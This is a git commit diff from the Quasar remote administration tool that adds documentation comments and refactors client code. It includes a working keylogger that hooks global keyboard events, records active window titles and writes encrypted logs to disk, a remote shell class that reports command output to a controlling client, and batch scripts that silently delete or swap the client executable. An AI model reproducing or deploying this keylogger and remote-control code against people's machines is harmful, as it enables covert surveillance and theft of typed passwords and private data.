Update documentation

This commit is contained in:
MaxXor 2020-05-29 16:45:47 +02:00
parent 3fbf7fd0f7
commit 9ed61be8e1
17 changed files with 433 additions and 382 deletions

View File

@ -9,6 +9,9 @@
namespace Quasar.Client.Config namespace Quasar.Client.Config
{ {
/// <summary>
/// Stores the configuration of the client.
/// </summary>
public static class Settings public static class Settings
{ {
#if DEBUG #if DEBUG

View File

@ -0,0 +1,59 @@
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
namespace Quasar.Client.Extensions
{
public static class KeyExtensions
{
public static bool ContainsModifierKeys(this List<Keys> pressedKeys)
{
return pressedKeys.Any(x => x.IsModifierKey());
}
public static bool IsModifierKey(this Keys key)
{
return (key == Keys.LControlKey
|| key == Keys.RControlKey
|| key == Keys.LMenu
|| key == Keys.RMenu
|| key == Keys.LWin
|| key == Keys.RWin
|| key == Keys.Control
|| key == Keys.Alt);
}
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
{
return pressedKeys.Contains((Keys)char.ToUpper(c));
}
public static bool IsExcludedKey(this Keys k)
{
// The keys below are excluded. If it is one of the keys below,
// the KeyPress event will handle these characters. If the keys
// are not any of those specified below, we can continue.
return (k >= Keys.A && k <= Keys.Z
|| k >= Keys.NumPad0 && k <= Keys.Divide
|| k >= Keys.D0 && k <= Keys.D9
|| k >= Keys.Oem1 && k <= Keys.OemClear
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|| k == Keys.CapsLock
|| k == Keys.Space);
}
public static string GetDisplayName(this Keys key)
{
string name = key.ToString();
if (name.Contains("ControlKey"))
return "Control";
else if (name.Contains("Menu"))
return "Alt";
else if (name.Contains("Win"))
return "Win";
else if (name.Contains("Shift"))
return "Shift";
return name;
}
}
}

View File

@ -1,11 +1,14 @@
using System; using Microsoft.Win32;
using Quasar.Common.Utilities;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Linq; using System.Linq;
using Microsoft.Win32;
using Quasar.Common.Utilities;
namespace Quasar.Client.Extensions namespace Quasar.Client.Extensions
{ {
/// <summary>
/// Provides extensions for registry key and value operations.
/// </summary>
public static class RegistryKeyExtensions public static class RegistryKeyExtensions
{ {
/// <summary> /// <summary>
@ -25,7 +28,7 @@ private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
/// </summary> /// </summary>
/// <param name="key">The key of which we obtain the value of.</param> /// <param name="key">The key of which we obtain the value of.</param>
/// <param name="keyName">The name of the key.</param> /// <param name="keyName">The name of the key.</param>
/// <param name="defaultValue">The default value if value can not be determinated.</param> /// <param name="defaultValue">The default value if value can not be determined.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so, /// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// defaultValue will be returned instead.</returns> /// defaultValue will be returned instead.</returns>
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
@ -107,8 +110,7 @@ public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
/// </summary> /// </summary>
/// <param name="key">The key of which the sub-key is to be deleted from.</param> /// <param name="key">The key of which the sub-key is to be deleted from.</param>
/// <param name="name">The name of the sub-key.</param> /// <param name="name">The name of the sub-key.</param>
/// <returns>Returns boolean value if the action succeded or failed /// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
/// </returns>
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
{ {
try try
@ -122,8 +124,6 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
} }
} }
#region Rename Key
/* /*
* Derived and Adapted from drdandle's article, * Derived and Adapted from drdandle's article,
* Copy and Rename Registry Keys at Code project. * Copy and Rename Registry Keys at Code project.
@ -146,21 +146,20 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
/// <param name="key">The key of which the subkey is to be renamed from.</param> /// <param name="key">The key of which the subkey is to be renamed from.</param>
/// <param name="oldName">The old name of the sub-key.</param> /// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param> /// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns boolean value if the action succeded or failed; Returns /// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
/// </returns>
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
{ {
try try
{ {
//Copy from old to new //Copy from old to new
key.CopyKey(oldName, newName); key.CopyKey(oldName, newName);
//Despose of the old key //Dispose of the old key
key.DeleteSubKeyTree(oldName); key.DeleteSubKeyTree(oldName);
return true; return true;
} }
catch catch
{ {
//Try to despose of the newKey (The rename failed) //Try to dispose of the newKey (The rename failed)
key.DeleteSubKeyTreeSafe(newName); key.DeleteSubKeyTreeSafe(newName);
return false; return false;
} }
@ -173,8 +172,6 @@ public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string
/// <param name="key">The key of which the subkey is to be deleted from.</param> /// <param name="key">The key of which the subkey is to be deleted from.</param>
/// <param name="oldName">The old name of the sub-key.</param> /// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param> /// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns nothing
/// </returns>
public static void CopyKey(this RegistryKey key, string oldName, string newName) public static void CopyKey(this RegistryKey key, string oldName, string newName)
{ {
//Create a new key //Create a new key
@ -195,8 +192,6 @@ public static void CopyKey(this RegistryKey key, string oldName, string newName)
/// </summary> /// </summary>
/// <param name="sourceKey">The source key to copy from.</param> /// <param name="sourceKey">The source key to copy from.</param>
/// <param name="destKey">The destination key to copy to.</param> /// <param name="destKey">The destination key to copy to.</param>
/// <returns>Returns nothing
/// </returns>
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
{ {
@ -222,10 +217,6 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
} }
} }
#endregion
#region Region Value
/// <summary> /// <summary>
/// Attempts to set a registry value for the key provided using the specified /// Attempts to set a registry value for the key provided using the specified
/// name, data and kind. If the registry value does not exist it will be created /// name, data and kind. If the registry value does not exist it will be created
@ -234,7 +225,7 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
/// <param name="name">The name of the value.</param> /// <param name="name">The name of the value.</param>
/// <param name="data">The data of the value</param> /// <param name="data">The data of the value</param>
/// <param name="kind">The value kind of the value</param> /// <param name="kind">The value kind of the value</param>
/// <returns>Returns a boolean value if the action succeeded or failed.</returns> /// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
{ {
try try
@ -274,7 +265,7 @@ public static bool SetValueSafe(this RegistryKey key, string name, object data,
/// </summary> /// </summary>
/// <param name="key">The key of which the value is to be delete from.</param> /// <param name="key">The key of which the value is to be delete from.</param>
/// <param name="name">The name of the value.</param> /// <param name="name">The name of the value.</param>
/// <returns>Returns a boolean value if the action succeded or failed.</returns> /// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteValueSafe(this RegistryKey key, string name) public static bool DeleteValueSafe(this RegistryKey key, string name)
{ {
try try
@ -288,8 +279,6 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
} }
} }
#region Rename Value
/// <summary> /// <summary>
/// Attempts to rename a registry value to the key provided using the specified old /// Attempts to rename a registry value to the key provided using the specified old
/// name and new name. /// name and new name.
@ -297,21 +286,20 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
/// <param name="key">The key of which the registry value is to be renamed from.</param> /// <param name="key">The key of which the registry value is to be renamed from.</param>
/// <param name="oldName">The old name of the registry value.</param> /// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param> /// <param name="newName">The new name of the registry value.</param>
/// <returns>Returns boolean value if the action succeded or failed; Returns /// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
/// </returns>
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName) public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
{ {
try try
{ {
//Copy from old to new //Copy from old to new
key.CopyValue(oldName, newName); key.CopyValue(oldName, newName);
//Despose of the old value //Dispose of the old value
key.DeleteValue(oldName); key.DeleteValue(oldName);
return true; return true;
} }
catch catch
{ {
//Try to despose of the newKey (The rename failed) //Try to dispose of the newKey (The rename failed)
key.DeleteValueSafe(newName); key.DeleteValueSafe(newName);
return false; return false;
} }
@ -324,8 +312,6 @@ public static bool RenameValueSafe(this RegistryKey key, string oldName, string
/// <param name="key">The key of which the registry value is to be copied.</param> /// <param name="key">The key of which the registry value is to be copied.</param>
/// <param name="oldName">The old name of the registry value.</param> /// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param> /// <param name="newName">The new name of the registry value.</param>
/// <returns>Returns nothing
/// </returns>
public static void CopyValue(this RegistryKey key, string oldName, string newName) public static void CopyValue(this RegistryKey key, string oldName, string newName)
{ {
RegistryValueKind valueKind = key.GetValueKind(oldName); RegistryValueKind valueKind = key.GetValueKind(oldName);
@ -334,19 +320,12 @@ public static void CopyValue(this RegistryKey key, string oldName, string newNam
key.SetValue(newName, valueData, valueKind); key.SetValue(newName, valueData, valueKind);
} }
#endregion
#endregion
#region Find
/// <summary> /// <summary>
/// Checks if the specified subkey exists in the key /// Checks if the specified subkey exists in the key
/// </summary> /// </summary>
/// <param name="key">The key of which to search.</param> /// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the sub-key to find.</param> /// <param name="name">The name of the sub-key to find.</param>
/// <returns>Returns boolean value if the action succeded or failed /// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
/// </returns>
public static bool ContainsSubKey(this RegistryKey key, string name) public static bool ContainsSubKey(this RegistryKey key, string name)
{ {
foreach (string subkey in key.GetSubKeyNames()) foreach (string subkey in key.GetSubKeyNames())
@ -364,8 +343,7 @@ public static bool ContainsSubKey(this RegistryKey key, string name)
/// </summary> /// </summary>
/// <param name="key">The key of which to search.</param> /// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the registry value to find.</param> /// <param name="name">The name of the registry value to find.</param>
/// <returns>Returns boolean value if the action succeded or failed /// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
/// </returns>
public static bool ContainsValue(this RegistryKey key, string name) public static bool ContainsValue(this RegistryKey key, string name)
{ {
foreach (string value in key.GetValueNames()) foreach (string value in key.GetValueNames())
@ -378,8 +356,6 @@ public static bool ContainsValue(this RegistryKey key, string name)
return false; return false;
} }
#endregion
/// <summary> /// <summary>
/// Gets all of the value names associated with the registry key and returns /// Gets all of the value names associated with the registry key and returns
/// formatted strings of the filtered values. /// formatted strings of the filtered values.
@ -396,6 +372,11 @@ public static bool ContainsValue(this RegistryKey key, string name)
} }
} }
/// <summary>
/// Gets the default value for a given data type of a registry value.
/// </summary>
/// <param name="valueKind">The data type of the registry value.</param>
/// <returns>The default value for the given <see cref="valueKind"/>.</returns>
public static object GetDefault(this RegistryValueKind valueKind) public static object GetDefault(this RegistryValueKind valueKind)
{ {
switch (valueKind) switch (valueKind)
@ -416,4 +397,4 @@ public static object GetDefault(this RegistryValueKind valueKind)
} }
} }
} }
} }

View File

@ -1,40 +1,35 @@
using Quasar.Common.Helpers; using Quasar.Common.Helpers;
using System;
using System.IO; using System.IO;
using System.Text; using System.Text;
namespace Quasar.Client.IO namespace Quasar.Client.IO
{ {
public class BatchFile /// <summary>
/// Provides methods to create batch files for application update, uninstall and restart operations.
/// </summary>
public static class BatchFile
{ {
/// <summary> /// <summary>
/// Creates the uninstall batch file. /// Creates the uninstall batch file.
/// </summary> /// </summary>
/// <param name="currentFilePath">The current file path of the client.</param> /// <param name="currentFilePath">The current file path of the client.</param>
/// <param name="logDirectory">The log directory.</param> /// <param name="logDirectory">The log directory.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns> /// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
public static string CreateUninstallBatch(string currentFilePath, string logDirectory) public static string CreateUninstallBatch(string currentFilePath, string logDirectory)
{ {
try string batchFile = FileHelper.GetTempFilePath(".bat");
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string uninstallBatch = string uninstallBatch =
"@echo off" + "\r\n" + "@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" + "echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" + "ping -n 10 localhost > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" + "rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\""; "del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
return batchFile; return batchFile;
}
catch (Exception)
{
return string.Empty;
}
} }
/// <summary> /// <summary>
@ -42,59 +37,45 @@ public static string CreateUninstallBatch(string currentFilePath, string logDire
/// </summary> /// </summary>
/// <param name="currentFilePath">The current file path of the client.</param> /// <param name="currentFilePath">The current file path of the client.</param>
/// <param name="newFilePath">The new file path of the client.</param> /// <param name="newFilePath">The new file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns> /// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
public static string CreateUpdateBatch(string currentFilePath, string newFilePath) public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
{ {
try string batchFile = FileHelper.GetTempFilePath(".bat");
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string updateBatch = string updateBatch =
"@echo off" + "\r\n" + "@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" + "echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" + "ping -n 10 localhost > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\""; "del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
return batchFile; return batchFile;
}
catch (Exception)
{
return string.Empty;
}
} }
/// <summary> /// <summary>
/// Creates the restart batch file. /// Creates the restart batch file.
/// </summary> /// </summary>
/// <param name="currentFilePath">The current file path of the client.</param> /// <param name="currentFilePath">The current file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns> /// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
public static string CreateRestartBatch(string currentFilePath) public static string CreateRestartBatch(string currentFilePath)
{ {
try string batchFile = FileHelper.GetTempFilePath(".bat");
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string restartBatch = string restartBatch =
"@echo off" + "\r\n" + "@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" + "echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" + "ping -n 10 localhost > nul" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\""; "del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
return batchFile; return batchFile;
}
catch (Exception)
{
return string.Empty;
}
} }
} }
} }

View File

@ -1,6 +1,5 @@
using Quasar.Client.Networking; using Quasar.Client.Networking;
using Quasar.Common.Messages; using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.Globalization; using System.Globalization;
@ -48,27 +47,20 @@ public class Shell : IDisposable
/// </summary> /// </summary>
private StreamWriter _inputWriter; private StreamWriter _inputWriter;
/// <summary>
/// The client to sends responses to.
/// </summary>
private readonly QuasarClient _client; private readonly QuasarClient _client;
/// <summary>
/// Initializes a new instance of the <see cref="Shell"/> class using a given client.
/// </summary>
/// <param name="client">The client to send shell responses to.</param>
public Shell(QuasarClient client) public Shell(QuasarClient client)
{ {
_client = client; _client = client;
} }
private void Execute(ISender client, DoShellExecute message)
{
string input = message.Command;
if ((_prc == null || _prc.HasExited) && input == "exit") return;
if (input == "exit")
Dispose();
else
ExecuteCommand(input);
}
/// <summary> /// <summary>
/// Creates a new session of the shell. /// Creates a new session of the shell.
/// </summary> /// </summary>

View File

@ -1,5 +1,7 @@
using Gma.System.MouseKeyHook; using Gma.System.MouseKeyHook;
using Quasar.Client.Config; using Quasar.Client.Config;
using Quasar.Client.Extensions;
using Quasar.Client.Helper;
using Quasar.Common.Cryptography; using Quasar.Common.Cryptography;
using Quasar.Common.Helpers; using Quasar.Common.Helpers;
using System; using System;
@ -7,6 +9,7 @@
using System.Diagnostics; using System.Diagnostics;
using System.IO; using System.IO;
using System.Text; using System.Text;
using System.Web;
using System.Windows.Forms; using System.Windows.Forms;
using Timer = System.Timers.Timer; using Timer = System.Timers.Timer;
@ -19,39 +22,68 @@ namespace Quasar.Client.Logging
public class Keylogger : IDisposable public class Keylogger : IDisposable
{ {
/// <summary> /// <summary>
/// True if the class has already been disposed, else False. /// <c>True</c> if the class has already been disposed, else <c>false</c>.
/// </summary> /// </summary>
public bool IsDisposed { get; private set; } public bool IsDisposed { get; private set; }
public double FlushInterval { get; private set; } /// <summary>
/// The timer used to periodically flush the <see cref="_logFileBuffer"/> from memory to disk.
/// </summary>
private readonly Timer _timerFlush; private readonly Timer _timerFlush;
/// <summary>
/// The
/// </summary>
private readonly StringBuilder _logFileBuffer = new StringBuilder(); private readonly StringBuilder _logFileBuffer = new StringBuilder();
/// <summary>
/// Temporary list of pressed keys while they are being processed.
/// </summary>
private readonly List<Keys> _pressedKeys = new List<Keys>(); private readonly List<Keys> _pressedKeys = new List<Keys>();
/// <summary>
/// Temporary list of pressed keys chars while they are being processed.
/// </summary>
private readonly List<char> _pressedKeyChars = new List<char>(); private readonly List<char> _pressedKeyChars = new List<char>();
/// <summary>
/// Saves the last window title of an application.
/// </summary>
private string _lastWindowTitle = string.Empty; private string _lastWindowTitle = string.Empty;
/// <summary>
/// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed.
/// </summary>
private bool _ignoreSpecialKeys; private bool _ignoreSpecialKeys;
private IKeyboardMouseEvents _mEvents;
/// <summary>
/// Used to hook global mouse and keyboard events.
/// </summary>
private readonly IKeyboardMouseEvents _mEvents;
/// <summary>
/// Provides encryption and decryption methods to securely store log files.
/// </summary>
private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
/// <summary> /// <summary>
/// Creates the keylogger instance that provides keylogging functionality. /// Initializes a new instance of <see cref="Keylogger"/> that provides keylogging functionality.
/// </summary> /// </summary>
/// <param name="flushInterval">The interval to flush the buffer to the logfile.</param> /// <param name="flushInterval">The interval to flush the buffer from memory to disk.</param>
public Keylogger(double flushInterval) public Keylogger(double flushInterval)
{ {
FlushInterval = flushInterval; _mEvents = Hook.GlobalEvents();
_timerFlush = new Timer { Interval = FlushInterval }; _timerFlush = new Timer { Interval = flushInterval };
_timerFlush.Elapsed += timerFlush_Elapsed; _timerFlush.Elapsed += TimerElapsed;
} }
public void StartLogging() /// <summary>
/// Begins logging of keys.
/// </summary>
public void Start()
{ {
Subscribe(Hook.GlobalEvents()); Subscribe();
_timerFlush.Start(); _timerFlush.Start();
WriteFile();
} }
/// <summary> /// <summary>
@ -65,53 +97,59 @@ public void Dispose()
protected virtual void Dispose(bool disposing) protected virtual void Dispose(bool disposing)
{ {
if (!IsDisposed) if (IsDisposed)
return;
if (disposing)
{ {
if (disposing)
{
if (_timerFlush != null)
{
_timerFlush.Stop();
_timerFlush.Dispose();
}
}
Unsubscribe(); Unsubscribe();
_timerFlush.Stop();
IsDisposed = true; _timerFlush.Dispose();
_mEvents.Dispose();
} }
IsDisposed = true;
} }
private void Subscribe(IKeyboardMouseEvents events) /// <summary>
/// Subscribes to all key events.
/// </summary>
private void Subscribe()
{ {
_mEvents = events;
_mEvents.KeyDown += OnKeyDown; _mEvents.KeyDown += OnKeyDown;
_mEvents.KeyUp += OnKeyUp; _mEvents.KeyUp += OnKeyUp;
_mEvents.KeyPress += OnKeyPress; _mEvents.KeyPress += OnKeyPress;
} }
/// <summary>
/// Unsubscribes from all key events.
/// </summary>
private void Unsubscribe() private void Unsubscribe()
{ {
if (_mEvents == null) return;
_mEvents.KeyDown -= OnKeyDown; _mEvents.KeyDown -= OnKeyDown;
_mEvents.KeyUp -= OnKeyUp; _mEvents.KeyUp -= OnKeyUp;
_mEvents.KeyPress -= OnKeyPress; _mEvents.KeyPress -= OnKeyPress;
_mEvents.Dispose();
} }
private void OnKeyDown(object sender, KeyEventArgs e) //Called first /// <summary>
/// Initial handling of the key down events and updates the window title.
/// </summary>
/// <param name="sender">The sender of the event.</param>
/// <param name="e">The key event args, e.g. the keycode.</param>
/// <remarks>This event handler is called first.</remarks>
private void OnKeyDown(object sender, KeyEventArgs e)
{ {
string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
{ {
_lastWindowTitle = activeWindowTitle; _lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
+ KeyloggerHelper.Filter(activeWindowTitle) + " - " + HttpUtility.HtmlEncode(activeWindowTitle) + " - "
+ DateTime.Now.ToString("HH:mm") + DateTime.Now.ToString("HH:mm")
+ "</b>]</p><br>"); + "</b>]</p><br>");
} }
if (_pressedKeys.IsModifierKeysSet()) if (_pressedKeys.ContainsModifierKeys())
{ {
if (!_pressedKeys.Contains(e.KeyCode)) if (!_pressedKeys.Contains(e.KeyCode))
{ {
@ -133,19 +171,24 @@ private void Unsubscribe()
} }
} }
//This method should be used to process all of our unicode characters /// <summary>
private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second /// Processes pressed keys and appends them to the <see cref="_logFileBuffer"/>. Processing of Unicode characters starts here.
/// </summary>
/// <param name="sender">The sender of the event.</param>
/// <param name="e">The key press event args, especially the pressed KeyChar.</param>
/// <remarks>This event handler is called second.</remarks>
private void OnKeyPress(object sender, KeyPressEventArgs e)
{ {
if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar)) if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar))
return; return;
if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
{ {
var filtered = KeyloggerHelper.Filter(e.KeyChar); var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString());
if (!string.IsNullOrEmpty(filtered)) if (!string.IsNullOrEmpty(filtered))
{ {
Debug.WriteLine("OnKeyPress Output: " + filtered); Debug.WriteLine("OnKeyPress Output: " + filtered);
if (_pressedKeys.IsModifierKeysSet()) if (_pressedKeys.ContainsModifierKeys())
_ignoreSpecialKeys = true; _ignoreSpecialKeys = true;
_pressedKeyChars.Add(e.KeyChar); _pressedKeyChars.Add(e.KeyChar);
@ -154,12 +197,34 @@ private void Unsubscribe()
} }
} }
private void OnKeyUp(object sender, KeyEventArgs e) //Called third /// <summary>
/// Finishes processing of the keys.
/// </summary>
/// <param name="sender">The sender of the event.</param>
/// <param name="e">The key event args.</param>
/// <remarks>This event handler is called third.</remarks>
private void OnKeyUp(object sender, KeyEventArgs e)
{ {
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
_pressedKeyChars.Clear(); _pressedKeyChars.Clear();
} }
/// <summary>
/// Finds a held down key char in a given key char list.
/// </summary>
/// <param name="list">The list of key chars.</param>
/// <param name="search">The key char to search for.</param>
/// <returns><c>True</c> if the list contains the key char, else <c>false</c>.</returns>
private bool DetectKeyHolding(List<char> list, char search)
{
return list.FindAll(s => s.Equals(search)).Count > 1;
}
/// <summary>
/// Adds special highlighting in HTML to the special keys.
/// </summary>
/// <param name="keys">The input keys.</param>
/// <returns>The highlighted special keys.</returns>
private string HighlightSpecialKeys(Keys[] keys) private string HighlightSpecialKeys(Keys[] keys)
{ {
if (keys.Length < 1) return string.Empty; if (keys.Length < 1) return string.Empty;
@ -169,7 +234,7 @@ private string HighlightSpecialKeys(Keys[] keys)
{ {
if (!_ignoreSpecialKeys) if (!_ignoreSpecialKeys)
{ {
names[i] = KeyloggerHelper.GetDisplayName(keys[i]); names[i] = keys[i].GetDisplayName();
Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
} }
else else
@ -181,7 +246,7 @@ private string HighlightSpecialKeys(Keys[] keys)
_ignoreSpecialKeys = false; _ignoreSpecialKeys = false;
if (_pressedKeys.IsModifierKeysSet()) if (_pressedKeys.ContainsModifierKeys())
{ {
StringBuilder specialKeys = new StringBuilder(); StringBuilder specialKeys = new StringBuilder();
@ -228,14 +293,18 @@ private string HighlightSpecialKeys(Keys[] keys)
return normalKeys.ToString(); return normalKeys.ToString();
} }
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e) private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e)
{ {
if (_logFileBuffer.Length > 0) if (_logFileBuffer.Length > 0)
WriteFile(); WriteFile();
} }
/// <summary>
/// Writes the logged keys from memory to disk.
/// </summary>
private void WriteFile() private void WriteFile()
{ {
// TODO: large log files take a very long time to read, decrypt and append new logs to
bool writeHeader = false; bool writeHeader = false;
string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));

View File

@ -1,110 +0,0 @@
using System.Collections.Generic;
using System.Windows.Forms;
using Quasar.Client.Helper;
namespace Quasar.Client.Logging
{
public static class KeyloggerHelper
{
#region "Extension Methods"
public static bool IsModifierKeysSet(this List<Keys> pressedKeys)
{
return pressedKeys != null &&
(pressedKeys.Contains(Keys.LControlKey)
|| pressedKeys.Contains(Keys.RControlKey)
|| pressedKeys.Contains(Keys.LMenu)
|| pressedKeys.Contains(Keys.RMenu)
|| pressedKeys.Contains(Keys.LWin)
|| pressedKeys.Contains(Keys.RWin)
|| pressedKeys.Contains(Keys.Control)
|| pressedKeys.Contains(Keys.Alt));
}
public static bool IsModifierKey(this Keys key)
{
return (key == Keys.LControlKey
|| key == Keys.RControlKey
|| key == Keys.LMenu
|| key == Keys.RMenu
|| key == Keys.LWin
|| key == Keys.RWin
|| key == Keys.Control
|| key == Keys.Alt);
}
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
{
return pressedKeys.Contains((Keys)char.ToUpper(c));
}
public static bool IsExcludedKey(this Keys k)
{
// The keys below are excluded. If it is one of the keys below,
// the KeyPress event will handle these characters. If the keys
// are not any of those specified below, we can continue.
return (k >= Keys.A && k <= Keys.Z
|| k >= Keys.NumPad0 && k <= Keys.Divide
|| k >= Keys.D0 && k <= Keys.D9
|| k >= Keys.Oem1 && k <= Keys.OemClear
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|| k == Keys.CapsLock
|| k == Keys.Space);
}
#endregion
public static bool DetectKeyHolding(List<char> list, char search)
{
return list.FindAll(s => s.Equals(search)).Count > 1;
}
public static string Filter(char key)
{
if ((int)key < 32) return string.Empty;
switch (key)
{
case '<':
return "&lt;";
case '>':
return "&gt;";
case '#':
return "&#35;";
case '&':
return "&amp;";
case '"':
return "&quot;";
case '\'':
return "&apos;";
case ' ':
return "&nbsp;";
}
return key.ToString();
}
